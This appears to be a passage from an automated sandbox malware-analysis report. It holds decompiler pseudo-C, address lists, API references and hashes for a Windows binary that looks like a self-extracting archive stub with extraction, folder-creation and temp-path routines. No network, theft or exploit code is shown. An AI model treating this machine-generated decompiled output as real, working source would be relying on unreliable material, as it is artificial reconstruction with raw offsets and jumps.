								 *((intOrPtr*)(_t445 + 0x30)) = 0;
								 *((intOrPtr*)(_t445 + 0x34)) = 0;
								 *((intOrPtr*)(_t445 + 0x10)) = 0;
								 *((intOrPtr*)(_t445 + 0x14)) = 0;
								__eflags =  *(_t445 + 0x7f);
								if( *(_t445 + 0x7f) == 0) {
									_t434 =  *( *((intOrPtr*)(_t445 + 0x70)) + _t253 * 4);
								} else {
									_t434 = _t253;
								}
								_t344 =  *( *((intOrPtr*)(_t443 + 0x12c)) + _t434 * 4);
								 *(_t445 - 0x14) = _t344;
								 *(_t445 + 0x40) = 1;
								__eflags = _t344 - 0xffffffff;
								if(_t344 == 0xffffffff) {
									L70:
									asm("sbb ecx, ecx");
									_t257 = E00417D0D( *(_t445 + 0x3c), _t434,  !( ~( *(_t445 + 0x7f) & 0x000000ff)) &  *((intOrPtr*)(_t445 + 0x70)) +  *(_t445 + 0x44) * 0x00000004,  *(_t445 + 0x40));
									 *(_t445 + 0x44) =  *(_t445 + 0x44) +  *(_t445 + 0x40);
									__eflags = _t257;
									if(_t257 == 0) {
										_t259 =  *(_t445 + 0x3c);
										__eflags =  *(_t259 + 0x24);
										if( *(_t259 + 0x24) == 0) {
											L109:
											_t260 =  *(_t445 + 0x2c);
											 *((intOrPtr*)(_t260 + 0x28)) =  *((intOrPtr*)(_t260 + 0x28)) +  *((intOrPtr*)(_t445 + 0x30));
											asm("adc [eax+0x2c], ecx");
											 *((intOrPtr*)(_t260 + 0x20)) =  *((intOrPtr*)(_t260 + 0x20)) +  *((intOrPtr*)(_t445 + 0x10));
											asm("adc [eax+0x24], ecx");
											_t342 = _t260;
											continue;
										}
										 *(_t445 + 0x58) =  *(_t445 + 0x58) & 0x00000000;
										_t261 =  *(_t445 + 0x60);
										__eflags = _t261;
										if(_t261 != 0) {
											_t261 =  *((intOrPtr*)( *_t261))(_t261, 0x41d530, _t445 + 0x58);
										}
										 *(_t445 - 4) = 1;
										 *((char*)(_t445 + 0x7b)) = 0;
										 *((char*)(_t445 + 0x6f)) = 0;
										E004147DF(_t261, _t445);
										_t436 = E004171F6(_t445 - 0x7c, _t445 + 0x30, _t443, __eflags,  *((intOrPtr*)(_t443 + 0xc)),  *((intOrPtr*)(_t443 + 0x108)),  *((intOrPtr*)(_t443 + 0x10c)), _t443 + 0x10, _t344, _t445 + 0x30,  *(_t445 + 0x50),  *(_t445 + 0x54), 0,  *(_t445 + 0x58), _t445 + 0x7b, _t445 + 0x6f, _t445);
										__eflags = _t436 - 1;
										if(_t436 == 1) {
											L87:
											_t376 =  *(_t445 + 0x3c);
											__eflags =  *(_t376 + 0x24);
											 *((char*)(_t445 + 0x4f)) =  *(_t376 + 0x24) == 0;
											__eflags = _t436 - 1;
											_t209 = (0 | _t436 == 0x00000001) + 1; // 0x1
											_t437 = _t209;
											_t267 = E00417C9B(_t376, _t437);
											 *(_t445 + 0x40) = _t267;
											__eflags = _t267;
											if(_t267 == 0) {
												__eflags =  *((char*)(_t445 + 0x4f));
												if( *((char*)(_t445 + 0x4f)) == 0) {
													L105:
													_push( *_t445);
													L0041C160();
													_t268 =  *(_t445 + 0x58);
													goto L106;
												}
												_t270 =  *(_t445 + 0x5c);
												__eflags = _t270;
												if(_t270 == 0) {
													goto L105;
												}
												_t436 =  *((intOrPtr*)( *_t270 + 0x14))(_t270, 2, _t344, _t437);
												__eflags = _t436;
												if(_t436 == 0) {
													goto L105;
												}
												goto L102;
											}
											_push( *_t445);
											L0041C160();
											_t284 =  *(_t445 + 0x58);
											__eflags = _t284;
											if(_t284 != 0) {
												 *((intOrPtr*)( *_t284 + 8))(_t284);
											}
											_t285 =  *(_t445 + 0x50);
											__eflags = _t285;
											if(_t285 != 0) {
												 *((intOrPtr*)( *_t285 + 8))(_t285);
											}
											_t286 =  *(_t445 + 0x5c);
											__eflags = _t286;
											if(_t286 != 0) {
												 *((intOrPtr*)( *_t286 + 8))(_t286);
											}
											E00417CCA(_t445 - 0x7c);
											_t288 =  *(_t445 + 0x54);
											__eflags = _t288;
											if(_t288 != 0) {
												 *((intOrPtr*)( *_t288 + 8))(_t288);
											}
											_t289 =  *(_t445 + 0x60);
											__eflags = _t289;
											if(_t289 != 0) {
												 *((intOrPtr*)( *_t289 + 8))(_t289);
											}
											_t278 =  *(_t445 + 0x40);
											goto L110;
										} else {
											__eflags = _t436 - 0x80004001;
											if(_t436 == 0x80004001) {
												goto L87;
											}
											__eflags = _t436;
											if(_t436 != 0) {
												L102:
												_push( *_t445);
												L0041C160();
												_t272 =  *(_t445 + 0x58);
												L103:
												__eflags = _t272;
												if(_t272 != 0) {
													 *((intOrPtr*)( *_t272 + 8))(_t272);
												}
												goto L71;
											}
											_t436 = E00417C9B( *(_t445 + 0x3c), 2);
											_push( *_t445);
											L0041C160();
											_t268 =  *(_t445 + 0x58);
											__eflags = _t436;
											if(_t436 == 0) {
												L106:
												__eflags = _t268;
												if(_t268 != 0) {
													 *((intOrPtr*)( *_t268 + 8))(_t268);
												}
												_t230 = _t445 - 4;
												 *_t230 =  *(_t445 - 4) & 0x00000000;
												__eflags =  *_t230;
												goto L109;
											}
											goto L103;
										}
									}
									L71:
									_t273 =  *(_t445 + 0x50);
									__eflags = _t273;
									if(_t273 != 0) {
										 *((intOrPtr*)( *_t273 + 8))(_t273);
									}
									_t274 =  *(_t445 + 0x5c);
									__eflags = _t274;
									if(_t274 != 0) {
										 *((intOrPtr*)( *_t274 + 8))(_t274);
									}
									E00417CCA(_t445 - 0x7c);
									_t276 =  *(_t445 + 0x54);
									__eflags = _t276;
									if(_t276 != 0) {
										 *((intOrPtr*)( *_t276 + 8))(_t276);
									}
									_t277 =  *(_t445 + 0x60);
									__eflags = _t277;
									if(_t277 != 0) {
										 *((intOrPtr*)( *_t277 + 8))(_t277);
									}
									L24:
									_t278 = _t436;
									goto L110;
								} else {
									_t296 =  *((intOrPtr*)(_t443 + 0x18));
									_t398 =  *((intOrPtr*)(_t443 + 0x40));
									_t423 =  *(_t398 + 4 + _t344 * 4);
									 *((intOrPtr*)(_t445 + 0x10)) =  *((intOrPtr*)(_t296 + _t423 * 8)) -  *((intOrPtr*)(_t296 +  *(_t398 + _t344 * 4) * 8));
									asm("sbb edx, [eax+ecx*8+0x4]");
									 *((intOrPtr*)(_t445 + 0x14)) =  *((intOrPtr*)(_t296 + 4 + _t423 * 8));
									_t439 = _t434 + 1;
									__eflags = _t439;
									 *(_t445 + 0x20) = _t439;
									_t344 =  *(_t445 - 0x14);
									_t434 =  *( *((intOrPtr*)(_t443 + 0x128)) + _t344 * 4);
									_t298 =  *(_t445 + 0x44);
									while(1) {
										_t298 = _t298 + 1;
										 *(_t445 + 0x48) = _t298;
										__eflags = _t298 -  *((intOrPtr*)(_t445 + 0x74));
										if(_t298 >=  *((intOrPtr*)(_t445 + 0x74))) {
											break;
										}
										__eflags =  *(_t445 + 0x7f);
										if( *(_t445 + 0x7f) == 0) {
											_t404 =  *( *((intOrPtr*)(_t445 + 0x70)) + _t298 * 4);
										} else {
											_t404 = _t298;
										}
										_t425 =  *((intOrPtr*)(_t443 + 0x12c));
										__eflags =  *((intOrPtr*)(_t425 + _t404 * 4)) - _t344;
										if( *((intOrPtr*)(_t425 + _t404 * 4)) != _t344) {
											break;
										} else {
											__eflags = _t404 -  *(_t445 + 0x20);
											if(_t404 <  *(_t445 + 0x20)) {
												break;
											}
											 *(_t445 + 0x20) = _t404 + 1;
											continue;
										}
									}
									_t299 = _t298 -  *(_t445 + 0x44);
									__eflags = _t299;
									 *(_t445 + 0x40) = _t299;
									 *(_t445 + 0x48) = _t434;
									while(1) {
										__eflags =  *(_t445 + 0x48) -  *(_t445 + 0x20);
										if( *(_t445 + 0x48) >=  *(_t445 + 0x20)) {
											goto L70;
										}
										 *((intOrPtr*)(_t445 + 0x30)) =  *((intOrPtr*)(_t445 + 0x30)) +  *((intOrPtr*)( *(_t445 + 0x48) * 0x18 +  *((intOrPtr*)(_t443 + 0x68))));
										asm("adc [ebp+0x34], eax");
										 *(_t445 + 0x48) =  *(_t445 + 0x48) + 1;
									}
									goto L70;
								}
							}
							__eflags = _t433;
							if(_t433 != 0) {
								 *((intOrPtr*)( *_t433 + 8))(_t433);
							}
							_t304 =  *(_t445 + 0x5c);
							__eflags = _t304;
							if(_t304 != 0) {
								 *((intOrPtr*)( *_t304 + 8))(_t304);
							}
							E00417CCA(_t445 - 0x7c);
							_t306 =  *(_t445 + 0x54);
							__eflags = _t306;
							if(_t306 != 0) {
								 *((intOrPtr*)( *_t306 + 8))(_t306);
							}
							_t307 =  *(_t445 + 0x60);
							__eflags = _t307;
							if(_t307 != 0) {
								 *((intOrPtr*)( *_t307 + 8))(_t307);
							}
							goto L7;
						}
						__eflags = _t433;
						if(_t433 != 0) {
							 *((intOrPtr*)( *_t433 + 8))(_t433);
						}
						_t313 =  *(_t445 + 0x5c);
						__eflags = _t313;
						if(_t313 != 0) {
							 *((intOrPtr*)( *_t313 + 8))(_t313);
						}
						E00417CCA(_t445 - 0x7c);
						_t315 =  *(_t445 + 0x54);
						__eflags = _t315;
						if(_t315 != 0) {
							 *((intOrPtr*)( *_t315 + 8))(_t315);
						}
						_t316 =  *(_t445 + 0x60);
						__eflags = _t316;
						if(_t316 != 0) {
							 *((intOrPtr*)( *_t316 + 8))(_t316);
						}
						_t278 = _t343;
						goto L110;
					}
					 *((intOrPtr*)( *_t341 + 8))(_t341);
					goto L24;
				} else {
					if(_t428 != 0) {
						 *((intOrPtr*)( *_t428 + 8))(_t428);
					}
					L7:
					_t278 = 0;
					L110:
					 *[fs:0x0] =  *((intOrPtr*)(_t445 - 0xc));
					return _t278;
				}
			}

0x00417d3b
0x00417d46
0x00417d4b
0x00417d4e
0x00417d51
0x00417d53
0x00417d58
0x00417d5d
0x00417d5d
0x00417d60
0x00417d63
0x00417d6a
0x00417d6e
0x00417d75
0x00417d7a
0x00417d7a
0x00417d82
0x00417d95
0x00417d99
0x00417d9c
0x00417d9c
0x00417d9e
0x00417d9e
0x00417da1
0x00417da4
0x00000000
0x00000000
0x00417da6
0x00417daa
0x00417db3
0x00417dac
0x00417dac
0x00417dac
0x00417dbc
0x00417dbf
0x00417dc2
0x00417dc5
0x00417e11
0x00417e11
0x00000000
0x00417dc7
0x00417dc7
0x00417dca
0x00417dd0
0x00417dd6
0x00417dd9
0x00417ddc
0x00417ddc
0x00417ddf
0x00417ddf
0x00417de2
0x00000000
0x00000000
0x00417df0
0x00417df7
0x00417dfa
0x00417dfd
0x00417e00
0x00417e00
0x00417e05
0x00417e08
0x00417e0b
0x00417e0e
0x00000000
0x00417e0e
0x00417dcc
0x00417dce
0x00000000
0x00000000
0x00000000
0x00417dce
0x00417dc5
0x00417e1d
0x00417e22
0x00417e24
0x00417e33
0x00417e35
0x00417e3b
0x00417e3d
0x00417e4a
0x00417e4a
0x00417e3f
0x00417e46
0x00417e46
0x00417e4c
0x00417e4f
0x00417e52
0x00417e54
0x00417e59
0x00417e59
0x00417e5e
0x00417e64
0x00417e6e
0x00417e73
0x00417e83
0x00417e85
0x00417e87
0x00417e8f
0x00417e91
0x00417eb0
0x00417eb0
0x00417e93
0x00417e93
0x00417e99
0x00417e9c
0x00417ea2
0x00417ea5
0x00417eab
0x00417eab
0x00417eb2
0x00417eb4
0x00417eb7
0x00417eba
0x00417ebc
0x00417ec1
0x00417ec1
0x00417ec7
0x00417ecd
0x00417ed0
0x00417ed9
0x00417edf
0x00417ee4
0x00417eea
0x00417eea
0x00417eed
0x00417ef0
0x00417ef3
0x00417ef3
0x00417efd
0x00417eff
0x00417f01
0x00000000
0x00000000
0x00417f43
0x00417f46
0x00417f49
0x00417f8f
0x00417f92
0x00417f95
0x00417f98
0x00417f9b
0x00417f9e
0x00417fa7
0x00417fa0
0x00417fa0
0x00417fa0
0x00417fb0
0x00417fb3
0x00417fb6
0x00417fbd
0x00417fc0
0x00418058
0x0041806a
0x00418075
0x0041807f
0x00418082
0x00418084
0x004180cb
0x004180ce
0x004180d2
0x0041824c
0x0041824f
0x00418252
0x00418258
0x0041825e
0x00418264
0x00418267
0x00000000
0x00418267
0x004180d8
0x004180dc
0x004180df
0x004180e1
0x004180ef
0x004180ef
0x004180f1
0x004180f5
0x004180f9
0x00418100
0x0041813d
0x0041813f
0x00418142
0x00418179
0x00418179
0x0041817c
0x00418180
0x00418186
0x0041818c
0x0041818c
0x00418190
0x00418195
0x00418198
0x0041819a
0x004181f6
0x004181fa
0x00418232
0x00418232
0x00418235
0x0041823b
0x00000000
0x0041823b
0x004181fc
0x004181ff
0x00418201
0x00000000
0x00000000
0x0041820d
0x0041820f
0x00418211
0x00000000
0x00000000
0x00000000
0x00418211
0x0041819c
0x0041819f
0x004181a5
0x004181a8
0x004181aa
0x004181af
0x004181af
0x004181b2
0x004181b5
0x004181b7
0x004181bc
0x004181bc
0x004181bf
0x004181c2
0x004181c4
0x004181c9
0x004181c9
0x004181cf
0x004181d4
0x004181d7
0x004181d9
0x004181de
0x004181de
0x004181e1
0x004181e4
0x004181e6
0x004181eb
0x004181eb
0x004181ee
0x00000000
0x00418144
0x00418144
0x0041814a
0x00000000
0x00000000
0x0041814c
0x0041814e
0x00418213
0x00418213
0x00418216
0x0041821b
0x0041821f
0x0041821f
0x00418221
0x0041822a
0x0041822a
0x00000000
0x00418221
0x0041815e
0x00418160
0x00418163
0x00418169
0x0041816c
0x0041816e
0x0041823e
0x0041823e
0x00418240
0x00418245
0x00418245
0x00418248
0x00418248
0x00418248
0x00000000
0x00418248
0x00000000
0x00418174
0x00418142
0x00418086
0x00418086
0x00418089
0x0041808b
0x00418090
0x00418090
0x00418093
0x00418096
0x00418098
0x0041809d
0x0041809d
0x004180a3
0x004180a8
0x004180ab
0x004180ad
0x004180b2
0x004180b2
0x004180b5
0x004180b8
0x004180ba
0x004180c3
0x004180c3
0x00417e2c
0x00417e2c
0x00000000
0x00417fc6
0x00417fc6
0x00417fc9
0x00417fcc
0x00417fd9
0x00417fe0
0x00417fe4
0x00417fe7
0x00417fe7
0x00417fe8
0x00417ff1
0x00417ff4
0x00417ff7
0x00417ffa
0x00417ffa
0x00417ffb
0x00417ffe
0x00418001
0x00000000
0x00000000
0x00418003
0x00418007
0x00418010
0x00418009
0x00418009
0x00418009
0x00418013
0x00418019
0x0041801c
0x00000000
0x0041801e
0x0041801e
0x00418021
0x00000000
0x00000000
0x00418024
0x00000000
0x00418024
0x0041801c
0x00418029
0x00418029
0x0041802c
0x0041802f
0x00418032
0x00418035
0x00418038
0x00000000
0x00000000
0x00418046
0x00418050
0x00418053
0x00418053
0x00000000
0x00418032
0x00417fc0
0x00417f4b
0x00417f4d
0x00417f52
0x00417f52
0x00417f55
0x00417f58
0x00417f5a
0x00417f5f
0x00417f5f
0x00417f65
0x00417f6a
0x00417f6d
0x00417f6f
0x00417f74
0x00417f74
0x00417f77
0x00417f7a
0x00417f7c
0x00417f85
0x00417f85
0x00000000
0x00417f7c
0x00417f03
0x00417f05
0x00417f0a
0x00417f0a
0x00417f0d
0x00417f10
0x00417f12
0x00417f17
0x00417f17
0x00417f1d
0x00417f22
0x00417f25
0x00417f27
0x00417f2c
0x00417f2c
0x00417f2f
0x00417f32
0x00417f34
0x00417f39
0x00417f39
0x00417f3c
0x00000000
0x00417f3c
0x00417e29
0x00000000
0x00417d84
0x00417d86
0x00417d8b
0x00417d8b
0x00417d8e
0x00417d8e
0x0041834a
0x0041834d
0x0041835b
0x0041835b

APIs

_EH_prolog.MSVCRT ref: 00417D3B
??2@YAPAXI@Z.MSVCRT ref: 00417E35
??2@YAPAXI@Z.MSVCRT ref: 00417E87
??3@YAXPAX@Z.MSVCRT ref: 00418163
??3@YAXPAX@Z.MSVCRT ref: 0041819F
??3@YAXPAX@Z.MSVCRT ref: 00418216
??3@YAXPAX@Z.MSVCRT ref: 00418235

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@$H_prolog
String ID:
API String ID: 417953191-0
Opcode ID: 8b3f70bcea95bb3576eb0139a9b8365af27ac33ad4d02b6cd0489b413736e0d2
Instruction ID: c1e2ab7089ad07afef8f572a599b18a794d17bcacd5927a223e3947e5adf6a37
Opcode Fuzzy Hash: 8b3f70bcea95bb3576eb0139a9b8365af27ac33ad4d02b6cd0489b413736e0d2
Instruction Fuzzy Hash: 6A124A70604249DFCB14CF68C894AEA7BB5BF49304F25456EF81A8B351DB39EC86CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040468A, Relevance: 10.6, APIs: 7, Instructions: 133
stringtimeCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040468A(WCHAR* __ecx, struct _FILETIME* __edx) {
				signed int _v8;
				WCHAR* _v12;
				struct _FILETIME _v20;
				char _v32;
				signed int _t38;
				signed int _t41;
				signed int _t44;
				signed short _t48;
				signed char _t52;
				signed int _t60;
				signed int* _t66;
				void* _t67;
				WCHAR* _t78;
				signed int _t79;
				void* _t81;
				void* _t82;

				_t77 = __edx;
				_t66 = __ecx;
				_v12 = __ecx;
				_t38 = lstrlenW(__ecx);
				_t79 = _t38;
				_v8 = _t38;
				E00414803( &_v32, _t66);
				_t78 = E0040420B( &_v32, _t77, 0);
				_t41 =  *(_t66 + _t79 * 2 - 2) & 0x0000ffff;
				if(_t41 == 0x5c || _t41 == 0x2f) {
					 *((short*)(_t78 + _t79 * 2 - 2)) = 0;
					_t79 = _t79 - 1;
					_v8 = _t79;
				}
				while(E00403092(_t78) == 0) {
					while(_t79 > 0) {
						_t44 = _t78[_t79] & 0x0000ffff;
						if(_t44 == 0x2f || _t44 == 0x5c) {
							break;
						} else {
							_t79 = _t79 - 1;
							continue;
						}
					}
					if(_t79 == 0) {
						if(_v8 != 2) {
							L30:
							E00409684(_t77, 1, 0xc, _t66);
							_push(_v32);
							L0041C160();
							return 0;
						}
						_t48 =  *_t66 | 0x00000020;
						if(_t48 < 0x61 || _t48 > 0x7a || _t66[0] != 0x3a) {
							goto L30;
						} else {
							_t81 = 1;
							L29:
							_push(_v32);
							L0041C160();
							return _t81;
						}
					}
					_t78[_t79] = 0;
				}
				GetSystemTimeAsFileTime( &_v20);
				_t52 = GetFileAttributesW(_t78); // executed
				if((_t52 & 0x00000010) != 0) {
					L13:
					while(E00403092(_t78) != 0) {
						if(_t79 < _v8) {
							_t67 =  &(_t78[_t79]);
							memcpy(_t67, _v12 + _t79 * 2, _v8 - _t79 + 1);
							_t82 = _t82 + 0xc;
							if( *_t67 == 0) {
								L20:
								if(_t78[_t79] != 0) {
									_t60 = _t78[_t79] & 0x0000ffff;
									if(_t60 == 0x5c || _t60 == 0x2f) {
										goto L21;
									} else {
										L19:
										_t79 = _t79 + 1;
										goto L20;
									}
								}
								L21:
								_t78[_t79] = 0;
								continue;
							}
							goto L19;
						}
						_push(_v32);
						L0041C160();
						return 1;
					}
					E00409684(_t77, 1, 0xc, _t78);
					L12:
					_t81 = 0;
					goto L29;
				}
				_t77 =  &_v20;
				if(E00404402(_t78,  &_v20) == 0) {
					goto L13;
				}
				goto L12;
			}

0x0040468a
0x00404692
0x00404696
0x00404699
0x004046a3
0x004046a5
0x004046a8
0x004046b7
0x004046b9
0x004046c1
0x004046ca
0x004046cf
0x004046d0
0x004046d0
0x004046f6
0x004046e4
0x004046d5
0x004046dc
0x00000000
0x004046e3
0x004046e3
0x00000000
0x004046e3
0x004046dc
0x004046ea
0x0040479c
0x004047c8
0x004047cd
0x004047d2
0x004047d5
0x00000000
0x004047dd
0x004047a1
0x004047a9
0x00000000
0x004047b8
0x004047ba
0x004047bb
0x004047bb
0x004047be
0x00000000
0x004047c4
0x004047a9
0x004046f2
0x004046f2
0x00404705
0x0040470c
0x00404714
0x00000000
0x0040472b
0x00404788
0x00404753
0x00404757
0x0040475e
0x00404764
0x00404777
0x0040477b
0x00404768
0x0040476f
0x00000000
0x00404776
0x00404776
0x00404776
0x00000000
0x00404776
0x0040476f
0x0040477d
0x0040477f
0x00000000
0x0040477f
0x00000000
0x00404766
0x0040478a
0x0040478d
0x00000000
0x00404795
0x0040473b
0x00404724
0x00404724
0x00000000
0x00404724
0x00404716
0x00404722
0x00000000
0x00000000
0x00000000

APIs

lstrlenW.KERNEL32(?,0042289C,004227B8,00000000,?,?,?,00402D14,PreExtract,0041DA3C,00422868), ref: 00404699

Part of subcall function 00414803: memcpy.MSVCRT ref: 00414829

Part of subcall function 0040420B: wcsncpy.MSVCRT ref: 00404239
Part of subcall function 0040420B: ??3@YAXPAX@Z.MSVCRT ref: 00404244

GetSystemTimeAsFileTime.KERNEL32(00402D14,00000000,?,?,0042289C,004227B8,00000000,?,?,?,00402D14,PreExtract,0041DA3C,00422868), ref: 00404705
GetFileAttributesW.KERNELBASE(00000000,?,?,0042289C,004227B8,00000000,?,?,?,00402D14,PreExtract,0041DA3C,00422868), ref: 0040470C
memcpy.MSVCRT ref: 00404757
??3@YAXPAX@Z.MSVCRT ref: 0040478D
??3@YAXPAX@Z.MSVCRT ref: 004047BE
??3@YAXPAX@Z.MSVCRT ref: 004047D5

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$FileTimememcpy$AttributesSystemlstrlenwcsncpy
String ID:
API String ID: 1217483450-0
Opcode ID: c1aab1735b3e41f9eced0e66e94fae73de9fd31691e0de986af2a9a7b4a091e8
Instruction ID: be3e48701bef0db7d10aa87f87c9b6a307b0c6ea187aa39f9109aeae5b1a0e1c
Opcode Fuzzy Hash: c1aab1735b3e41f9eced0e66e94fae73de9fd31691e0de986af2a9a7b4a091e8
Instruction Fuzzy Hash: 5B412BB5900215A6CB20BBA58885ABF73B4EF86704F504537EA02F32C1E73C9D4287DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040541A, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 80
libraryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E0040541A(void* __edx) {
				short _v96;
				char _v620;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr _t16;
				char* _t18;
				WCHAR* _t22;
				WCHAR* _t23;
				WCHAR* _t24;
				WCHAR* _t25;
				WCHAR* _t26;
				WCHAR* _t27;
				WCHAR* _t28;
				void* _t34;
				void* _t35;
				void* _t36;

				 *0x42275c = LoadLibraryA("kernel32");
				__imp__#17();
				E00403C85(E0041BD00());
				_t22 = 3;
				_t11 = E00403CE0(_t22);
				_t23 = 0x28;
				 *0x422760 = _t11;
				_t12 = E00403CE0(_t23);
				_t24 = 2;
				 *0x42274c = _t12;
				_t13 = E00403CE0(_t24);
				_t25 = 5;
				 *0x422738 = _t13;
				_t14 = E00403CE0(_t25);
				_t26 = 0x15;
				 *0x42273c = _t14;
				_t15 = E00403CE0(_t26);
				_t27 = 0x16;
				 *0x422754 = _t15;
				_t16 = E00403CE0(_t27);
				_t28 = 0x17;
				 *0x422748 = _t16;
				 *0x422744 = E00403CE0(_t28);
				 *0x422758 = 0;
				 *0x422750 = 0;
				_t34 = 0;
				do {
					_t18 =  &_v620;
					__imp__SHGetSpecialFolderPathW(0, _t18, _t34, 0); // executed
					_t38 = _t18;
					if(_t18 != 0) {
						wsprintfW( &_v96, L"SfxFolder%02d", _t34);
						_t36 = _t36 + 0xc;
						_t18 = E00404F69( &_v96,  &_v620, _t38, 1); // executed
						_t35 = 0;
						do {
							_t40 =  *((intOrPtr*)(_t35 + 0x42246c)) - _t34;
							if( *((intOrPtr*)(_t35 + 0x42246c)) == _t34) {
								_t6 = _t35 + 0x422470; // 0x41ea7c
								_t18 = E00404F69( *_t6,  &_v620, _t40, 0);
							}
							_t35 = _t35 + 8;
						} while (_t35 < 0x28);
					}
					_t34 = _t34 + 1;
				} while (_t34 < 0x40);
				return _t18;
			}

0x00405431
0x00405436
0x00405441
0x00405448
0x00405449
0x00405450
0x00405451
0x00405456
0x0040545d
0x0040545e
0x00405463
0x0040546a
0x0040546b
0x00405470
0x00405477
0x00405478
0x0040547d
0x00405484
0x00405485
0x0040548a
0x00405491
0x00405492
0x0040549e
0x004054a3
0x004054a9
0x004054af
0x004054b1
0x004054b3
0x004054bb
0x004054c1
0x004054c3
0x004054cf
0x004054d5
0x004054e3
0x004054e8
0x004054ea
0x004054ea
0x004054f0
0x004054f2
0x004054ff
0x004054ff
0x00405504
0x00405507
0x004054ea
0x0040550c
0x0040550d
0x00405516

APIs

LoadLibraryA.KERNEL32(kernel32,?,?,00000000), ref: 0040542B
#17.COMCTL32(?,?,00000000), ref: 00405436

Part of subcall function 00403C85: GetUserDefaultUILanguage.KERNEL32(00405446,?,?,00000000), ref: 00403C8F

Part of subcall function 00403CE0: GetLastError.KERNEL32(?,?,00000000), ref: 00403D2F
Part of subcall function 00403CE0: wsprintfW.USER32 ref: 00403D40
Part of subcall function 00403CE0: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 00403D55
Part of subcall function 00403CE0: GetLastError.KERNEL32 ref: 00403D5A
Part of subcall function 00403CE0: ??2@YAPAXI@Z.MSVCRT ref: 00403D75
Part of subcall function 00403CE0: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00403D88
Part of subcall function 00403CE0: GetLastError.KERNEL32 ref: 00403D8F
Part of subcall function 00403CE0: lstrcmpiW.KERNEL32(00000000,00000000), ref: 00403DA4
Part of subcall function 00403CE0: ??3@YAXPAX@Z.MSVCRT ref: 00403DB4
Part of subcall function 00403CE0: SetLastError.KERNEL32(?), ref: 00403DDB
Part of subcall function 00403CE0: lstrlenA.KERNEL32(0041E930), ref: 00403E11
Part of subcall function 00403CE0: ??2@YAPAXI@Z.MSVCRT ref: 00403E2C
Part of subcall function 00403CE0: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 00403E5E

Part of subcall function 00403CE0: ??3@YAXPAX@Z.MSVCRT ref: 00403DD2
Part of subcall function 00403CE0: _wtol.MSVCRT(?), ref: 00403E6F
Part of subcall function 00403CE0: MultiByteToWideChar.KERNEL32(00000000,0041E930,00000001,00000000,00000002), ref: 00403E8F

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,00000000), ref: 004054BB
wsprintfW.USER32 ref: 004054CF

Part of subcall function 00404F69: ??3@YAXPAX@Z.MSVCRT ref: 00404FD0
Part of subcall function 00404F69: ??3@YAXPAX@Z.MSVCRT ref: 00404FD9
Part of subcall function 00404F69: ??3@YAXPAX@Z.MSVCRT ref: 00404FE1

Strings

SfxFolder%02d, xrefs: 004054C9
kernel32, xrefs: 00405426

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$ErrorLast$??2@EnvironmentVariablewsprintf$ByteCharDefaultFolderInfoLanguageLibraryLoadLocaleMultiPathSpecialUserWide_wtollstrcmpilstrlen
String ID: SfxFolder%02d$kernel32
API String ID: 2610933736-229743753
Opcode ID: 5704bae99d2f680e2cd2161521e4cdf17fabd0999d4abec73d9b09839c6add6b
Instruction ID: e45f6d1b6f058e368b4ee535d696ebea441a5b3f064171d76d7118da654f54dd
Opcode Fuzzy Hash: 5704bae99d2f680e2cd2161521e4cdf17fabd0999d4abec73d9b09839c6add6b
Instruction Fuzzy Hash: 8B21D3B2A0831467D730AF76AD4AB8A7BA8FB84345F40453FF405F61D0DAF84582CA4C

Uniqueness

Uniqueness Score: -1.00%

Function 004042B5, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004042B5(intOrPtr __edx, void* __eflags) {
				void* __ecx;
				void* _t8;
				long _t11;
				WCHAR* _t12;
				long _t17;
				short* _t22;
				long _t23;
				WCHAR** _t24;
				void* _t34;
				WCHAR** _t35;
				short _t36;
				void* _t37;

				 *((intOrPtr*)(_t37 + 0x10)) = __edx;
				_t35 = _t24;
				E004147DF(_t8, _t24);
				_t11 = GetTempPathW(1, E0040420B(_t35, __edx, 2));
				_t36 = 0;
				_t35[1] = 0;
				 *( *_t35) = 0;
				if(_t11 > 0) {
					_t3 = _t11 + 1; // 0x1
					_t23 = _t3;
					GetTempPathW(_t23, E0040420B(_t35, 0, _t23));
					E004041F0(_t35);
				}
				_t12 = _t35[1];
				_t22 =  &(_t12[7]);
				_t34 = _t12 + _t12;
				while(1) {
					wsprintfW(E0040420B(_t35, 0, _t22) + _t34,  *(_t37 + 0x14), _t36);
					_t37 = _t37 + 0xc;
					E004041F0(_t35);
					_t17 = GetFileAttributesW( *_t35); // executed
					if(_t17 == 0xffffffff) {
						break;
					}
